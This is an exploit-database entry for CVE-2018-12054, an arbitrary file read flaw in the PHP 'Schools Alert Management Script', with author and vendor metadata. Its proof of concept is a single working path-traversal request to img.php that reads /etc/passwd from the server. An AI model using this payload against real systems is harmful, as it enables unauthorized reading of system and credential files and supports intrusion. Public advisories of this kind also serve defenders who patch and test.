Schools Alert Management Script - Arbitrary File Read

Author: M3@Pandas
type: webapps
platform: php
port: 
date_added: 2018-06-11 
date_updated: 2018-06-11 
verified: 0 
codes: CVE-2018-12054 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Schools Alert Management Script - Arbitrary File Read
# Date: 2018-06-07
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: M3@Pandas
# Web: https://github.com/unh3x/just4cve/issues/4
# Tested on: Linux Mint
# CVE: CVE-2018-12054

# Proof of Concept：

/img.php?f=/./etc/./passwd